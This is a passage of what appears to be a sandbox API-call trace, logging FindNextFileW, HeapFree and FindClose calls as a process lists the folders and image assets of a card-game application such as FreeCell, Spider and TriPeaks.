lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3605e236, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad0b7bdb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x360f6ba4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FreeCell", cAlternateFileName="")) returned 1 [0089.116] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.116] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360f6ba4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x360f6ba4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x360f6ba4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4707, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Game_Menu.jpg", cAlternateFileName="")) returned 1 [0089.118] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.118] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36227e81, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad119406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x362e6a44, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pyramid", cAlternateFileName="")) returned 1 [0089.120] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.120] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3630cca2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad1cdf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x363d4386, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Spider", cAlternateFileName="")) returned 1 [0089.123] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.123] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x363d4386, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad1ce7fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x363fa5db, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="StarClub", cAlternateFileName="")) returned 1 [0089.123] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.123] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363fa5db, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x363fa5db, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x363fa5db, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x46d7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Tips_4.jpg", cAlternateFileName="")) returned 1 [0089.603] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.603] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x363fa5db, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad1d0ffd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3644e45a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TriPeaks", cAlternateFileName="")) returned 0 [0089.603] FindClose (in: hFindFile=0x582e08 | out: hFindFile=0x582e08) returned 1 [0089.603] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.603] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x364746b3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad239fed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3650d026, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0089.606] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.606] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3650d026, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3650d026, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3650d026, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1bf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="light burst.png", cAlternateFileName="")) returned 1 [0089.608] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.608] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x365a5990, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad3440cd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x365cbbe9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainPage", cAlternateFileName="")) returned 1 [0089.610] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.610] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x365cbbe9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x365cbbe9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x365cbbe9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainPageBackground.html", cAlternateFileName="")) returned 1 [0089.613] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.613] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36664553, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x36664553, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x36664553, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x622a, dwReserved0=0x0, dwReserved1=0x0, cFileName="more2.jpg", cAlternateFileName="")) returned 1 [0089.614] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.614] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3668a7b1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad348156, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3668a7b1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OptInPopup", cAlternateFileName="OPTINP~1")) returned 1 [0089.614] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.614] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x366b0a0a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x366b0a0a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x366b0a0a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pageBackground.png", cAlternateFileName="")) returned 1 [0089.614] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.614] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x366d6c5a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x366fcec2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x366fcec2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x344ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="PremiumEdition_PopUp2.png", cAlternateFileName="")) returned 1 [0089.615] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.615] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36723120, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x36723120, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x36723120, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadow.png", cAlternateFileName="")) returned 1 [0089.617] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.617] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36723120, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x36723120, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x36723120, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x284d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.scale-200.png", cAlternateFileName="")) returned 1 [0089.627] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.627] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x367bba89, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad3b1c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x367e1ce3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Statistics", cAlternateFileName="STATIS~1")) returned 1 [0089.628] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.628] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36807f40, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x36807f40, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x36807f40, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1733, dwReserved0=0x0, dwReserved1=0x0, cFileName="sticker.png", cAlternateFileName="")) returned 1 [0089.628] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.628] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36807f40, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3682e19a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3682e19a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreLogo.png", cAlternateFileName="")) returned 1 [0089.634] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.634] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36939219, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x36939219, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x36939219, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x11f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Export.png", cAlternateFileName="")) returned 1 [0089.634] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.634] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36a24610, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad4ddf83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36a4a88e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThemeDownload", cAlternateFileName="THEMED~1")) returned 1 [0089.635] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.635] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36a4a88e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad4de80d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36c3a737, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThemePreview", cAlternateFileName="THEMEP~1")) returned 1 [0089.639] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.639] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36abcfa3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad56501d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36b09456, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CardBacks", cAlternateFileName="CARDBA~1")) returned 1 [0089.902] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.902] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36b2f6b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad565f3b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36c144d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Effects", cAlternateFileName="")) returned 1 [0089.905] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.905] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36c3a737, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad603ea4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36cd309d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Themes", cAlternateFileName="")) returned 1 [0089.907] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.907] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36c3a737, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad603ea4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36cd309d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Themes", cAlternateFileName="")) returned 0 [0089.907] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0089.907] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0089.908] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36cf92fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad604f5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x374f1a3e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1 [0089.914] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.914] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36db7ebd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad6bc21d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36e9cce3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mask", cAlternateFileName="")) returned 0 [0089.914] FindClose (in: hFindFile=0x582e48 | out: hFindFile=0x582e48) returned 1 [0089.914] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.915] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36e9cce3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad6c0df3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36f5b8ab, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Autumn", cAlternateFileName="")) returned 1 [0089.922] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.922] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36f5b8ab, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad73344c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36fcdfbb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mask", cAlternateFileName="")) returned 0 [0089.922] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0089.922] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.922] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36ff4214, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad77eea6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x370ff293, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Beach", cAlternateFileName="")) returned 1 [0089.926] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.926] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x370ff293, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad7cec66, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37197c02, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mask", cAlternateFileName="")) returned 0 [0089.926] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0089.926] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.926] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37197c02, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x37197c02, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x37197c02, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="card_shadow.png", cAlternateFileName="")) returned 1 [0089.930] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.930] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3728a569, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad8a1f96, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x372fcc79, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mask", cAlternateFileName="")) returned 0 [0089.930] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0089.930] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.930] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x372fcc79, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad912c92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37399629, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Fable", cAlternateFileName="")) returned 1 [0089.936] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0089.936] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37399629, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x37399629, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x37399629, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xce7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icon_preview_big.png", cAlternateFileName="")) returned 1 [0090.530] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.530] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x374581f1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xada1e8d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x374f1a3e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mask", cAlternateFileName="")) returned 0 [0090.530] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0090.531] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0090.531] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x374f1a3e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xada1fcdb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x374f1a3e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, 